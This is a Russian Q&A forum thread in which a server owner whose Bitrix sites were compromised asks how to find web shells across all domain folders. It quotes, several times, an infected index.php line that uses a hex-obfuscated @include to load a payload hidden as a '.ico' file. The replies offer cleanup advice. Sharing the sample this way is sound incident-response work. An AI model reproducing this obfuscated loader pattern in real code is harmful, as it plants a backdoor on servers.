Как автоматически убрать шелы из всех папок?

Question

MaKS_Ibl4 @MaKS_Ibl4

Как автоматически убрать шелы из всех папок?

Здравствуйте. Так получилось, что при настройки vps все домены повесили на одного пользователя.
Взломав (я полагаю Bitrix потому что его 100 лет не обновляли), залили шел и прошлись по всем доменам.
Суть вопроса в том, есть ли средство для того что бы пройтись по всем директориям и хотя бы собрать список файлов в которых шел?

Вопрос задан более трёх лет назад
545 просмотров

4 комментария

Подписаться 1 Средний 4 комментария

Дмитрий @Tabletko

есть ли средство для того что бы пройтись по всем директориям и хотя бы собрать список файлов в которых шел?

а как определить что в файле шелл?

Написано более трёх лет назад
MaKS_Ibl4 @MaKS_Ibl4 Автор вопроса

Дмитрий, по содержимому, ибо я уверен на 100% что в тех сайтах что там лежат нет ничего родного из разряда \x47\x4c\x4fB\x41\x4c\x53 и т.п.

Написано более трёх лет назад

MaKS_Ibl4 @MaKS_Ibl4 Автор вопроса

Вот пример index.php:

<?php
/*28f5d*/

@include "\x2fva\x72/w\x77w/\x61le\x62a/\x64at\x61/w\x77w/\x61cq\x75ir\x69ng\x2eda\x73re\x64a.\x72u/\x63ss\x2ffa\x76ic\x6fn_\x31e7\x63ed\x2eic\x6f";

/*28f5d*/


echo file_get_contents('index.html.bak.bak');

Написано более трёх лет назад

Борис Сёмов @kotomyava

MaKS_Ibl4, Тогда и задача проще - такую и обычным поиском можно решить. Вот только решение этой задачи, только маленький частный случай задачи "Как автоматически убрать шелы из всех папок" решения которой не существует вовсе.

Написано более трёх лет назад

Пригласить эксперта

Ответы на вопрос 2

Комментировать

3 комментария

MaKS_Ibl4 @MaKS_Ibl4 Автор вопроса
Полазив я понял, что скорее шли каким то скриптом, заражали index.php
<?php /*28f5d*/ @include "\x2fva\x72/w\x77w/\x61le\x62a/\x64at\x61/w\x77w/\x61cq\x75ir\x69ng\x2eda\x73re\x64a.\x72u/\x63ss\x2ffa\x76ic\x6fn_\x31e7\x63ed\x2eic\x6f"; /*28f5d*/ echo file_get_contents('index.html.bak.bak');

и в некоторые папки закидали файлы типа: cache84.php и т.п.
Написано более трёх лет назад
synapse_people @synapse_people

MaKS_Ibl4, /var/www/aleba/data/www/acquiring.dasreda.ru/css/favicon_1e7ced.ico

Написано более трёх лет назад
synapse_people @synapse_people

MaKS_Ibl4, мой совет, все файлы выведи по дате изменения (новые файлы), пересечением с данными последнего бекапа
Получишь список новых файлов на сервере, а дальше руками каждый файл смотри.
Ясно, что еще можно почитать хэш каждого файла на сервере и сравнить с бэкапами

Написано более трёх лет назад

Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации

Похожие вопросы

Linux

+1 ещё

Простой
Как сделать автоматическую проверку работоспособности и рестарт Apache и Mariadb в случае падения?
- 1 подписчик
- вчера
- 98 просмотров
2

ответа
Docker

+2 ещё

Простой
Как подружить Zabbix-agent 2 и zabbix-server?
- 1 подписчик
- 17 апр.
- 95 просмотров
3

ответа
Windows

+1 ещё

Средний
Как открыть экранную клавиатуру в режиме киоска?
- 1 подписчик
- 15 апр.
- 149 просмотров
1

ответ
Системное администрирование

+1 ещё

Простой
Какое можно использовать клиент-серверное приложение видеоконференции p2p?
- 1 подписчик
- 15 апр.
- 63 просмотра
1

ответ
Системное администрирование

+1 ещё

Простой
На каком виртуальном сервере процессор мощнее?
- 1 подписчик
- 14 апр.
- 187 просмотров
2

ответа
PHP

+2 ещё

Простой
Как подключиться из PHP к memcached с использованием socket?
- 1 подписчик
- 14 апр.
- 86 просмотров
2

ответа
Windows

+1 ещё

Простой
Как настроить Windows под гостевой компьютер общего пользования?
- 3 подписчика
- 12 апр.
- 920 просмотров
5

ответов
Системное администрирование

+1 ещё

Простой
Есть централизованный Касперский, как блокировать определенные приложения?
- 1 подписчик
- 12 апр.
- 114 просмотров
3

ответа
Системное администрирование

+1 ещё

Средний
Как называется плата которая ставится между карт ридером и смарт картой, для логирования данных?
- 1 подписчик
- 11 апр.
- 115 просмотров
1

ответ
Системное администрирование

Простой
Заразятся ли 2 раздела диска если на один из разделов попадёт вирус?
- 1 подписчик
- 11 апр.
- 136 просмотров
4

ответа
Показать ещё Загружается…

Инженер по системному администрированию

Деловая среда от Сбербанка • Москва

До 209 000 ₽

Системный администратор (инженер) 🚀

Хабр • Москва

от 140 000 ₽

Системный администратор

Глобал Смарт Системс • Санкт-Петербург

от 100 000 до 120 000 ₽

Разработать телеграмм бота для анонимных сообщений

19 апр. 2024, в 14:53

30000 руб./за проект

Разработать парсер и админку

19 апр. 2024, в 14:12

30000 руб./за проект

Создать логотип

19 апр. 2024, в 14:10

500 руб./за проект

есть ли средство для того что бы пройтись по всем директориям и хотя бы собрать список файлов в которых шел?

а как определить что в файле шелл?
Дмитрий, по содержимому, ибо я уверен на 100% что в тех сайтах что там лежат нет ничего родного из разряда \x47\x4c\x4fB\x41\x4c\x53 и т.п.
Вот пример index.php:
<?php /*28f5d*/ @include "\x2fva\x72/w\x77w/\x61le\x62a/\x64at\x61/w\x77w/\x61cq\x75ir\x69ng\x2eda\x73re\x64a.\x72u/\x63ss\x2ffa\x76ic\x6fn_\x31e7\x63ed\x2eic\x6f"; /*28f5d*/ echo file_get_contents('index.html.bak.bak');
MaKS_Ibl4, Тогда и задача проще - такую и обычным поиском можно решить. Вот только решение этой задачи, только маленький частный случай задачи "Как автоматически убрать шелы из всех папок" решения которой не существует вовсе.

Answer 1 · 2017-12-06 16:07:59

Скомпрометированную систему лучше или восстановить из бекапа (который заведомо не скомпрометирован), или переустановить с нуля и восстановить только данные.

Answer 2 · 2017-12-06 16:19:11

synapse_people @synapse_people

поддерживаю Tabletko, шеллы могли зашить в другие пхп файлы

Ответ написан более трёх лет назад

3 комментария

Как автоматически убрать шелы из всех папок?

Войдите, чтобы написать ответ

Минуточку внимания

Войдите на сайт